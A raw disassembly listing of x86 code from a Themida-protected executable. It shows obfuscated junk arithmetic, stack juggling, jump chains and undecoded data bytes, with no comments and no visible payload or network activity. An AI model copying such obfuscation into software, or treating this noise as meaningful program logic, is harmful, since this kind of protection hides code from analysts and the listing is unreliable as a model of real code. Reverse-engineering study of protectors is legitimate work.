		pop	ecx
		dec	esi
		dec	esi
		sub	esi, 0F5E7CD72h
		mov	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 0F4B0DEFh
		shr	ebp, 5
		jmp	loc_54BBF0
; ---------------------------------------------------------------------------
		dw 8B5Dh
		dd 0C481240Ch, 4, 6399E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54976E:				; CODE XREF: Themida_:0054B8C3j
		pop	esp
		mov	[esp], eax
		jmp	loc_54C6B6
; ---------------------------------------------------------------------------
aI4AgbpzZSX	db '‰4$žGP‡Ţ‡Óé',7,'X',0
		align 4

loc_549788:				; CODE XREF: Themida_:0054925Aj
		and	eax, ecx
		pop	ecx
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_547C3A
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 55560000h, 0D3327EBDh, 81DDF72Bh, 2CCD86F5h
		dd 5A5EE9D4h, 0E8000000h, 0C8B5966h, 2EA1E924h,	0E9490000h
		dd 3D0Fh
; ---------------------------------------------------------------------------

loc_5497C4:				; CODE XREF: Themida_:0054F82Dj
		xor	ebp, 0CFF7E81Dh
		jmp	loc_545836
; ---------------------------------------------------------------------------
		db 1
		dd 0C8EF81DFh, 5B392030h, 8702C783h, 248B243Ch,	66F1F624h
		dd 68CCB60Fh, 47FBh, 0E9241489h, 0FFFFC713h, 0F75FFB29h
		dd 81DBF7DBh, 0E8A517C3h, 94EF812Eh, 1020C19h, 94C781DFh
		dd 8B020C19h, 0C483241Ch, 4C78304h, 8B243C87h, 50532424h
		dd 7A1B99B8h, 640DBB1Eh, 0C3010C91h, 0CB7FE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549832:				; CODE XREF: Themida_:0054E6A7j
		xor	edx, 66DF6814h
		jmp	loc_547477
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 2
		dd 0CA81D2F7h, 75031985h, 999BEA81h, 0EEE9FD6Bh, 0F6000028h
		dd 4E0C0D0h, 4134ED24h,	0E54E9h
		db 0
; ---------------------------------------------------------------------------

loc_549861:				; CODE XREF: Themida_:00549321j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5484A4
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 2AE92424h, 0FFFFFFDCh, 669D1C77h,	241CD259h
		dd 0A79CE99Ch, 0D1F7FFFFh, 3A28E9h, 24148900h, 3F0C25BAh
		dd 39E2815Eh, 0E974FD17h, 0FFFFCD01h, 5224248Bh, 0FFC566E9h
		dd 4EC81FFh, 89000000h,	76E9240Ch
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5498B7:				; CODE XREF: Themida_:0054E319j
		add	ecx, offset byte_4A049D
		jmp	loc_546281
; ---------------------------------------------------------------------------

loc_5498C2:				; CODE XREF: Themida_:00548F3Aj
		dec	ch
		not	ch
		add	ch, 1Bh
		mov	dh, ch
		pop	ecx
		push	edx
		mov	dl, 66h
		push	ecx
		mov	cl, dl
		neg	cl
		mov	dl, cl
		pop	ecx
		add	dl, 0E8h
		inc	dl
		jmp	loc_54ABC3
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2239E9h, 5AD10100h, 0BE9CF29h, 8100001Ah, 0DB7CBCF6h
		dd 47C68130h, 8143DB21h, 0AD269EC6h, 52CE8121h,	501C0318h
		dd 34D8FB8h, 3E0C14Fh, 92DD8F7h, 31CA85FAh, 0F78958C6h
		dd 5FFB895Eh, 8655AF2Dh, 5D8014Ah, 4A8655AFh, 4022E9h
		dd 246C0100h, 0FE20E904h, 315BFFFFh, 6C815FFEh,	3EEF0424h
		dd 27E9250Ah, 2CFFFFCAh, 241C8B82h, 6804C483h, 55EDh, 0B5240C89h
		dd 6EDC039h, 0CDFEDDF6h, 0E955C580h, 0FFFFE96Eh, 81241C89h
		dd 4ECh, 24248900h, 4240481h, 5B000000h, 5ABDE9h, 0E7895700h
		dd 4BB53h, 0DF010000h, 4C7815Bh, 87000000h, 248B243Ch
		dd 62E95824h, 5FFFFFBAh, 5324048Bh, 0C381E389h,	4, 16C468h
		dd 24348900h, 4BEh, 0AA70E900h,	74FFFFFFh, 8F5E0424h, 248B2404h
		dd 14896624h, 9C506624h, 0FFA645E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5499DD:				; CODE XREF: Themida_:0054640Dj
		mov	esi, 4
		jmp	loc_54B1DA
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	1C8704EBh, 1C895C24h, 51DAE924h
		dd 665C0000h, 51240C8Bh, 0BD555954h, 1C1C557Eh,	33ED814Dh
		dd 0F7518F0Ah, 1F1CE9D5h, 0FF530000h, 5B042474h, 0FFFE47E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549A25:				; CODE XREF: Themida_:0054B2F2j
		mov	eax, 1D43003Ah
		neg	eax
		jmp	loc_546C9E
; ---------------------------------------------------------------------------

loc_549A31:				; CODE XREF: Themida_:0054BBC5j
		push	4BF1h
		mov	[esp], edx
		jmp	loc_54A390
; ---------------------------------------------------------------------------

loc_549A3E:				; CODE XREF: Themida_:0054F167j
		pop	eax
		jmp	loc_546D47
; ---------------------------------------------------------------------------
		dd 57DDB850h, 0C109467Fh, 56D1F758h, 6F7A9DBEh,	5EF10155h
		dd 0E981D9F7h, 0B1FACAF7h, 0FFF9ECE9h, 0A5B8E9FFh, 0BD55FFFFh
		dd 39280DA5h, 2C8BE829h, 4C48124h, 2D000000h, 41EA03A6h
		dd 83243C8Bh, 0F0E904C4h, 5F000003h, 31242C33h,	2C33242Ch
		dd 69FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549A9A:				; CODE XREF: Themida_:00546A67j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54E28E
; ---------------------------------------------------------------------------
		db 1, 7Ch, 24h
		dd 0FEF9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549AAE:				; CODE XREF: Themida_:0054E0F1j
		add	[esp+4], esi
		pop	esi
		pop	ebp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_54C169
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0BB0EB5F3h, 0C8BCB01h, 4C48324h, 5860E9h, 4C28100h
		dd 81000000h, 4C2h, 24148700h, 0A93E9h,	41F38100h, 89C90981h
		dd 0FE48E9DEh, 489FFFFh, 0FBC7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549AFE:				; CODE XREF: Themida_:00546B3Cj
		mov	bl, ah
		pop	eax
		jmp	loc_547CBA
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 0C9685C1Dh, 8900000Dh, 0B966240Ch, 8166433Ah, 5736DCC1h
		dd 31BBF66h, 0C9EF8166h, 0CF816625h, 47661D9Dh,	66DFF766h
		dd 35EC781h, 5FF92966h,	59C82966h, 0FFE2D1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549B41:				; CODE XREF: Themida_:0054FF4Cj
		add	eax, edi
		sub	eax, 3F230D1Ch
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 6
		not	eax
		xor	eax, 660413CDh
		add	eax, 209ADDD8h
		add	esi, eax
		pop	eax
		mov	ebp, esi
		pop	esi
		and	ebx, ebp
		pop	ebp
		or	ebx, ebx
		jnz	loc_54ECBD
		push	ebp
		push	edx
		push	ecx
		mov	ecx, 3EC54E6Ah
		add	dword ptr [esp+4], 253E194Fh
		push	ecx
		jmp	loc_545230
; ---------------------------------------------------------------------------
		db 1
aWvh3fPs	db 'ęWVh3F\!^Pé',8,'=',0
		dw 100h
		dd 0C2815DEAh, 4, 5C241487h, 3A2CE9h, 8B5E5B00h, 0C4832414h
		dd 0A46CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549BB6:				; CODE XREF: Themida_:005473B5j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	47C1h
		mov	[esp], ebx
		jmp	loc_54B8C8
; ---------------------------------------------------------------------------

loc_549BDF:				; CODE XREF: Themida_:0054FD8Dj
		not	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, 8FEBBE77h
		sub	ebp, 0C170B9Ah
		sub	ebp, ebx
		add	ebp, 0C170B9Ah
		pop	ebx
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_549677
; ---------------------------------------------------------------------------

loc_549C0A:				; CODE XREF: Themida_:00545188j
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_54641F
; ---------------------------------------------------------------------------
		dw 2E68h
		dd 89000026h, 89562414h, 4C681E6h, 83000000h, 348704EEh
		dd 24895C24h, 24048124h, 4, 5B62E9h
		db 0
; ---------------------------------------------------------------------------

loc_549C3D:				; CODE XREF: Themida_:005496B6j
		mov	eax, edi
		pop	edi
		jmp	loc_54BBF6
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFFE8FFh, 815FFA89h, 0F952A6F2h, 5AD10167h
		dd 0E9240C87h, 0FFFFB7E7h
; ---------------------------------------------------------------------------

loc_549C64:				; CODE XREF: Themida_:00547CC1j
		mov	[esp], eax
		mov	ah, bl
		jmp	loc_54D0DA
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 111233C2h, 6E2C119h,	69F4CA81h, 0B8507DE2h, 0
		dd 0FFD4B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549C89:				; CODE XREF: Themida_:0054D0DCj
		pop	eax
		mov	[edi+eax*4], cl
		jmp	loc_54D662
; ---------------------------------------------------------------------------
		dw 0FE58h
		dd 3E3C0CBh, 0F380C3FEh, 8204CCh, 0FCA9E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549CA6:				; CODE XREF: Themida_:0054B9B6j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_54AC5E
; ---------------------------------------------------------------------------

loc_549CB1:				; CODE XREF: Themida_:0054D73Dj
		dec	edx
		add	edx, 0B99CB7CFh
		mov	ebp, edx
		pop	edx
		push	65AEh
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ebp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54DDD3
; ---------------------------------------------------------------------------

loc_549CD9:				; CODE XREF: Themida_:00546CC9j
		push	eax
		mov	eax, 4189560Bh
		or	eax, 77380A9Dh
		dec	eax
		not	eax
		xor	eax, 7B0807E2h
		inc	eax
		add	eax, 0CB15980h
		push	eax
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54EB49
; ---------------------------------------------------------------------------
		dd 0F02CF834h, 6602EC83h, 0B2241489h, 66D588D9h, 8BC5285Ah
		dd 41E92404h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549D27:				; CODE XREF: Themida_:005478BEj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 48051C9Fh
		xor	eax, 33AD1077h
		add	eax, 8457F31Ch
		push	ebp
		mov	ebp, 21851303h
		and	ebp, 68961DC3h
		xor	ebp, 19FD7BA7h
		sub	edi, ebp
		pop	ebp
		add	edi, eax
		jmp	loc_546E05
; ---------------------------------------------------------------------------
		dd 871240BBh, 5BD90121h, 90FFF181h, 0CB01ECCEh,	55F32959h
		dd 7445F8BDh, 7DB95101h, 3172945Ch, 24D1E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549D8A:				; CODE XREF: Themida_:0054E6D1j
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	7BC3h
		jmp	loc_54CD87
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4ED8100h, 87000000h, 895C242Ch, 5E9241Ch, 89FFFFEDh
		dd 28E9241Ch
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549DC7:				; CODE XREF: Themida_:00547D0Fj
		xor	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 513B6D58h
		add	ebp, 9947E12h
		or	ebp, 51B628C2h
		inc	ebp
		neg	ebp
		xor	ebp, 9FD84FDBh
		jmp	loc_544A73
; ---------------------------------------------------------------------------

loc_549DEA:				; CODE XREF: Themida_:0054D764j
		push	0BBh
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 77E453DCh
		xor	esi, 135B1ED8h
		add	esi, 9B40B300h
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_548F02
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFE9008Fh, 81FFFFA1h, 5766F9F2h,	3AE94275h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549E2F:				; CODE XREF: Themida_:0054A2BCj
		push	edx
		mov	edx, 0C8FB9550h
		add	eax, edx
		pop	edx
		xor	esi, eax
		pop	eax
		xor	ecx, esi
		pop	esi
		push	3E09h
		mov	[esp], edi
		push	217376CDh
		jmp	loc_54467F
; ---------------------------------------------------------------------------
		dd 243C8758h, 0C8B665Ch, 0E7895724h, 4C781h, 0C7810000h
		dd 2, 5C243C87h, 4EC81h, 4890000h, 0DE95324h, 81FFFFCFh
		dd 4ECh, 24348900h, 0B21FD968h,	24348B39h, 0E9595451h
		dd 0FFFFE3A7h
; ---------------------------------------------------------------------------

loc_549E94:				; CODE XREF: Themida_:0054ABB4j
		push	32227938h
		pop	ebx
		xor	ebx, 35A338A1h
		mov	ebp, ebx
		pop	ebx
		add	ebp, 6CD81C3Eh
		neg	ebp
		jmp	loc_5463EC
; ---------------------------------------------------------------------------

loc_549EB0:				; CODE XREF: Themida_:00545A4Ej
		pop	edx
		shl	esi, 3
		add	esi, 9F530C96h
		xor	edx, esi
		pop	esi
		add	edi, edx
		pop	edx
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_545E43
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 78A230A2h, 0FFEA58E9h, 4B9FFh, 27E90000h, 5C00002Ah
		dd 5F8668h, 303AE900h, 0E9560000h, 0FFFFB9CBh, 6D90B951h
		dd 0BE5612B4h, 5F785BA6h, 1C58C681h, 0E6C12584h, 81DEF708h
		dd 0FC7F33E6h, 4B85050h, 0C165217Eh, 0C14005E0h, 520502E0h
		dd 317DE00Eh, 0C68158C6h, 3092F091h, 575EF121h,	0FFB039E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549F31:				; CODE XREF: Themida_:0054EABDj
		mov	ch, al
		mov	bh, ch
		pop	ecx
		pop	eax
		push	eax
		mov	al, bh
		mov	dl, al
		pop	eax
		pop	ebx
		jmp	loc_54C3A3
; ---------------------------------------------------------------------------
		db 1
		dd 24048BC5h, 4C481h, 0BE560000h, 4, 0EFE9F501h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549F5B:				; CODE XREF: Themida_:0054CB82j
		push	ecx
		jmp	loc_54DE28
; ---------------------------------------------------------------------------
aLHu		db '‹$$hu!',0
		dd 2A9DE900h, 6EB70000h, 305BFD00h, 686659E8h, 896647AEh
		dd 64B5240Ch, 2CCCE9h, 6EAE0500h, 0D82913ADh, 6EAEBE56h
		dd 0FE913ADh
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549F97:				; CODE XREF: Themida_:00548285j
		push	edi
		push	edx
		jmp	loc_54A642
; ---------------------------------------------------------------------------

loc_549F9E:				; CODE XREF: Themida_:00547969j
		or	edi, 1B8C2E5Fh
		shr	edi, 2
		xor	edi, 1B4A1056h
		add	edi, 0EE024E9Dh
		push	386h
		mov	[esp], edi
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, 0FD4CA599h
		xor	ebp, ebx
		jmp	loc_54A329
; ---------------------------------------------------------------------------
		db 1, 0C2h, 57h
		dd 6D5601BFh, 81D7F72Dh, 624888EFh, 2C35E99Ah, 0C3810000h
		dd 4, 5694E9h, 59B65200h, 3063B151h, 240C8BCEh,	4C481h
		dd 0EB800000h, 80F300D0h, 7AE9D0C3h, 89FFFFC3h,	0E9552424h
		dd 589Eh, 405E089h, 5000000h, 4, 5C240487h, 0FFDADEE9h
		dd 30BF57FFh, 81101F15h, 1910A7CFh, 1FDBE97Eh, 0E5C10000h
		dd 4BC58107h, 8915BD50h, 96BF5DEEh, 52B60622h, 0EF4194BAh
		dd 0E770E951h, 1F68FFFFh, 8900005Dh, 6656240Ch,	680E86BEh
		dd 1F4Ah, 0FFB5B3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A071:				; CODE XREF: Themida_:0054CCD5j
		shl	ecx, 1
		jmp	loc_54CD3E
; ---------------------------------------------------------------------------

loc_54A078:				; CODE XREF: Themida_:0054D564j
		mov	edx, esp
		add	edx, 4
		push	756Ch
		jmp	loc_54C294
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 815C2404h, 4C2h, 4BB5300h, 1000000h, 0CC685BDAh
		dd 89000076h, 74FF2414h, 8F5A0424h, 0FF5C2404h,	50582434h
		dd 5FAEE9h, 2C5B6600h, 0C3D8E935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A0C6:				; CODE XREF: Themida_:0054D480j
		movzx	eax, al
		mov	dx, [esp]
		push	3ED2h
		jmp	loc_54C49F
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFB5DEE9h, 24248BFFh, 9C2404FEh, 0FF9F39E9h, 1C5709FFh
		dd 9F30E95Ah, 268FFFFh,	5B000000h, 784B951h, 0D6E96DA1h
		dd 3300003Eh, 1C31241Ch, 0BBF8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A10E:				; CODE XREF: Themida_:005496F5j
		push	eax
		mov	eax, 4
		add	dword ptr [esp+4], 3BB2297Fh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 3BB2297Fh
		pop	eax
		mov	edi, [esp]
		jmp	loc_54D973
; ---------------------------------------------------------------------------

loc_54A131:				; CODE XREF: Themida_:0054BF44j
		push	dword ptr [esp]
		jmp	loc_5464EF
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0EC83C80Fh, 541BE904h, 89560000h, 4C681E6h, 83000000h
		dd 0ABE904EEh, 8900000Ah, 0BD552414h, 12C71A36h, 34DFE9h
		dd 9CC88500h, 0FF9EB5E9h, 0BE5659FFh, 73673464h, 5C55E94Eh
		dd 68550000h, 37DF1097h, 5EDC15Dh, 7FC5814Dh, 89FE4107h
		dd 0EEDDE9EEh, 0E909FFFFh, 81242C8Bh, 4C4h, 6E9C100h, 873EC181h
		dd 0C83138ACh, 4EC8359h, 0E9243C89h, 0FFFFEB3Ah
; ---------------------------------------------------------------------------

loc_54A1B4:				; CODE XREF: Themida_:0054EB09j
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	3631h
		jmp	loc_546BB4
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 34FF0424h, 0C4835B24h, 24048F04h, 4644E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A1D9:				; CODE XREF: Themida_:0054E9B5j
		mov	edi, 27F07D68h
		neg	edi
		or	edi, 18153D6h
		shr	edi, 5
		xor	edi, 2ABB7C07h
		sub	edi, 2C770295h
		jmp	loc_54A205
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 0FFFDECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A205:				; CODE XREF: Themida_:0054A1F5j
		mov	ebx, edi
		jmp	loc_5447B0
; ---------------------------------------------------------------------------

loc_54A20C:				; CODE XREF: Themida_:0054624Aj
		add	esi, 258227D9h
		add	esi, eax
		sub	esi, 258227D9h
		pop	eax
		add	esi, 4
		jmp	loc_54FA5F
; ---------------------------------------------------------------------------
		dw 1F68h
		dd 8900000Ch, 25E9240Ch, 0FFFFFFA0h, 0E7E92C77h, 66FFFF9Dh
		dd 0E924048Bh, 0FFFFC060h
; ---------------------------------------------------------------------------

loc_54A244:				; CODE XREF: Themida_:0054FEA5j
		mov	eax, esp
		add	eax, 4
		jmp	loc_54B69F
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 24248B24h, 47D9E9h, 4EC8300h
		dd 0BB241C89h, 4, 8904EC83h, 34E9241Ch,	89FFFFBBh, 8568243Ch
		dd 5F068544h, 6B816850h, 31584F58h, 24048BC7h, 4C481h
		dd 0F8890000h, 0AABA525Fh, 0E958557Eh, 0FFFFAE9Dh, 34FFD031h
		dd 0C4835A24h, 10886804h, 0E5E90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A2B3:				; CODE XREF: Themida_:0054647Fj
		shl	eax, 4
		shl	eax, 4
		add	eax, 1
		jmp	loc_549E2F
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 468h, 0C2C0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A2CE:				; CODE XREF: Themida_:0054799Fj
		mov	[esp], edi
		mov	edi, 0F787A27Eh
		jmp	loc_5479CC
; ---------------------------------------------------------------------------

loc_54A2DB:				; CODE XREF: Themida_:0054FFF6j
		xor	eax, ebx
		pop	ebx
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 70705580h
		sub	edi, 54B55010h
		jmp	loc_546BCF
; ---------------------------------------------------------------------------

loc_54A2F8:				; CODE XREF: Themida_:0054EB4Dj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54E833
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0C22E9h, 48B6600h, 5227E924h, 4810000h, 424h, 24048F00h
		dd 4240483h, 0FFD7A6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A329:				; CODE XREF: Themida_:00549FCCj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	[edi+24h], ebp
		pop	ebp

loc_54A337:				; CODE XREF: Themida_:00544167j
		push	edx
		push	5CFFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_546E50
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 0C677E924h, 5556FFFFh, 0BDh,	5DEE8900h, 0F787FE29h
		dd 17C7815Eh, 1EAD6ECh,	0F719E9FDh, 0EC83FFFFh,	49BAE904h
		dd 292D0000h, 0E912FB59h, 27Ch,	3511BF57h, 0E9507B75h
		dd 5A87h
; ---------------------------------------------------------------------------

loc_54A390:				; CODE XREF: Themida_:00549A39j
		sub	esp, 4
		jmp	loc_544C01
; ---------------------------------------------------------------------------
		dd 4C481h, 71E90000h, 3100000Ah, 0E18951D8h, 4C181h, 0BD550000h
		dd 4, 335DE929h, 0C31240Ch, 998E924h, 885A0000h, 48B66E3h
		dd 0E6895624h, 0FFAF50E9h, 31D5F7FFh, 31FD31EFh, 47C781EFh
		dd 2957B695h, 0C3015FFBh, 46A8BE56h, 0F301230Eh, 0FFECFCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A3F1:				; CODE XREF: Themida_:0054AECAj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5476B3
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5452B6
; ---------------------------------------------------------------------------
aIS		db 'łČˆÜé\$',0
		dw 6600h
		dd 5524048Bh, 1CA768h, 24248900h, 4240483h, 4BF575Dh, 0E9000000h
		dd 0FFFFA1C2h, 4EF81h, 3C870000h, 3C895C24h, 2BF24h, 542D0000h
		dd 2D02EA21h, 4F9D0B08h, 805F801h, 0E94F9D0Bh, 90Ah, 243CD35Ch
		dd 9BC0E99Ch, 815CFFFFh, 4C7h, 2C78100h, 87000000h, 248B243Ch
		dd 0B4505124h, 3107E9B1h, 0C3810000h, 5A800E31h, 0EB81CB01h
		dd 5A800E31h, 3C05EB81h, 81591966h, 4EBh, 0FD27E900h, 0ED81FFFFh
		dd 50855D33h, 2BF575Ah,	1000000h, 243C8BFDh, 81E78957h
		dd 4C7h, 2853E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A4BE:				; CODE XREF: Themida_:0054E805j
		sub	esi, 0FFFFFFFFh
		jmp	loc_54BAAF
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0E8010000h, 6EBF575Dh, 0C115F208h, 0C78105EFh, 563C0E74h
		dd 0D5BF5755h, 0BD1C6937h, 7354D688h, 315FFD29h, 0F8015DEFh
		dd 1BE4E9h, 2434FF00h, 0E9240C8Bh, 0FFFFEB3Fh, 0FF9B19E9h
		dd 4C181FFh, 83000000h,	0C8704C1h, 0C875C24h, 24248B24h
		dd 9F68F9F7h, 89000007h, 9C502414h, 0FF9AF5E9h,	240481FFh
		dd 50E45217h, 1F8BE9h, 8F665C00h, 0DFE92404h, 2DFFFF9Ah
		dd 62C274B4h, 0BF57C829h, 0C75254Dh, 5C95C781h,	0EFC15106h
		dd 0F0E78102h, 8174CA14h, 8346BDEFh, 7ECF816Ch,	812EDB1Bh
		dd 0E2B8B5C7h, 3F07E9B2h, 0E9590000h, 9E6h, 4C6815Ch, 55000000h
		dd 5EA1B850h, 0E8C146B8h, 5E8C106h, 0E908E8C1h,	4C7Fh
		dd 0CC4E952h, 14890000h, 4EC3BA24h, 0D101E9DAh,	5A2434FFh
		dd 4C481h, 0ADE90000h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A5B7:				; CODE XREF: Themida_:0054D086j
		inc	esi
		push	ebx
		mov	ebx, 447C796Ah
		jmp	loc_54847A
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4EC81h, 4890000h, 3F74E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A5D2:				; CODE XREF: Themida_:00547FAAj
		add	ecx, esi
		jmp	loc_54AD9C
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0
		dd 0E9000000h, 0FFFFE653h
; ---------------------------------------------------------------------------

loc_54A5E4:				; CODE XREF: Themida_:00547D82j
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54EC3D
; ---------------------------------------------------------------------------
		dd 2B4FE62Dh, 5D80115h,	152B4FE6h, 0FB592905h, 0BD555B12h
		dd 26C1039h, 6E2DED81h,	0DDF75E40h, 4D74CD81h, 0C5811B3Ah
		dd 49442F84h, 8103EDC1h, 0A851ADEDh, 0E9E80114h, 0FFFFC7B2h
		dd 0C0A4E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A642:				; CODE XREF: Themida_:00549F99j
		push	ebp
		mov	ebp, ecx
		jmp	loc_548221
; ---------------------------------------------------------------------------

loc_54A64A:				; CODE XREF: Themida_:0054771Dj
		mov	ecx, 0A726E5Ch
		xor	ecx, 19187247h
		sub	ecx, 136A1C17h
		add	ebx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_547B56
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 24248B24h, 57F9F766h, 0C7815F54h
		dd 4, 0E58FE956h, 0E9ACFFFFh, 4573h, 31240433h,	4332404h
		dd 3E6EE924h, 0C2830000h, 24148704h, 0FFAB89E9h, 0C18851FFh
		dd 10E9CE88h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A6BF:				; CODE XREF: Themida_:0054AEC2j
		push	ecx
		mov	ecx, 5AAB1460h
		sub	ecx, 35A12DCFh
		xor	ecx, 2A6BE172h
		add	edx, ecx
		pop	ecx
		add	edx, ebx
		sub	edx, 0F6207E3h
		sub	edx, 2E926B91h
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_54B1E2
; ---------------------------------------------------------------------------
aShvx		db 'Shvx',0
		dw 8900h
		dd 0BB532424h, 4, 4245C01h, 0FFB8E8E9h,	34B3B0FFh, 0F64C24EFh
		dd 2CC0FED8h, 58C5887Bh, 2099B652h, 4879E9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A72E:				; CODE XREF: Themida_:00548047j
		mov	ch, 0ADh
		sub	al, 51h
		sub	al, ch
		add	al, 51h
		pop	ecx
		add	al, 8
		mov	ch, al
		pop	eax
		jmp	loc_54F605
; ---------------------------------------------------------------------------

loc_54A741:				; CODE XREF: Themida_:00547F03j
		sub	edi, eax
		sub	edi, 5BE54D9Dh
		jmp	loc_54F26A
; ---------------------------------------------------------------------------

loc_54A74E:				; CODE XREF: Themida_:0054B224j
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	dword ptr [esp], 16C201B2h
		pop	ebp
		push	ecx
		mov	ecx, 16C201B2h
		add	ebp, ecx
		pop	ecx
		push	ebp
		pop	eax
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	1442h
		mov	[esp], eax
		mov	eax, 3156069Ah
		xor	eax, 3D2C0544h
		shr	eax, 6
		shl	eax, 2
		inc	eax
		jmp	loc_5466B4
